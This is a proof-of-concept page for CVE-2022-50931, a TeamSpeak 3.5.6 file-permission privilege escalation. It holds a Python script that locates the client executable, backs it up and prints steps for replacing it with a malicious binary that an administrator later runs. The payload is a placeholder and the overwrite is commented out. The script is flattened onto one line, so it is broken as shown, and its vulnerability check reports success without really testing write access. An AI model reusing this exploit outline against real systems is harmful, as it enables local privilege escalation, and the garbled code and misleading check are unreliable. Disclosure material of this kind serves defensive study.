CVE-2022-50931 | TeamSpeak 3.5.6 不安全文件权限本地提权漏洞

#!/usr/bin/env python3 # CVE-2022-50931 PoC - TeamSpeak 3.5.6 Insecure File Permissions # This PoC demonstrates the file permission vulnerability import os import sys import shutil import ctypes def check_vulnerability(): """Check if TeamSpeak installation is vulnerable""" # Common TeamSpeak installation paths paths = [ r"C:\Program Files\TeamSpeak 3 Client\ts3client_win32.exe", r"C:\Program Files (x86)\TeamSpeak 3 Client\ts3client_win32.exe", os.path.expanduser(r"~\AppData\Local\TeamSpeak 3 Client\ts3client_win32.exe") ] vulnerable = False for path in paths: if os.path.exists(path): # Check if current user has write permission try: # Attempt to get current permissions (simplified check) print(f"[*] Found TeamSpeak executable at: {path}") print(f"[*] Checking write permissions...") # In real attack, attacker would replace the file here # For PoC, we demonstrate the vulnerability exists # Backup original file backup_path = path + ".bak" if not os.path.exists(backup_path): shutil.copy2(path, backup_path) print(f"[+] Created backup: {backup_path}") # Create malicious executable placeholder malicious_exe = b'MZ\x90\x00\x03\x00\x00\x00...' # Minimal PE header # In actual exploitation: # with open(path, 'wb') as f: # f.write(malicious_exe) print(f"[!] VULNERABLE: Current user has write access to {path}") print(f"[!] Attacker could replace this file with malicious executable") vulnerable = True except PermissionError: print(f"[-] No write permission for: {path}") except Exception as e: print(f"[-] Error checking {path}: {e}") return vulnerable def main(): print("=" * 60) print("CVE-2022-50931 - TeamSpeak Insecure File Permissions PoC") print("=" * 60) if not check_vulnerability(): print("[+] System appears to be patched or TeamSpeak not installed") else: print("\n[*] Exploitation steps:") print("1. Replace ts3client_win32.exe with malicious executable") print("2. Wait for user/admin to launch TeamSpeak client") print("3. Malicious code executes with elevated privileges") if __name__ == "__main__": main()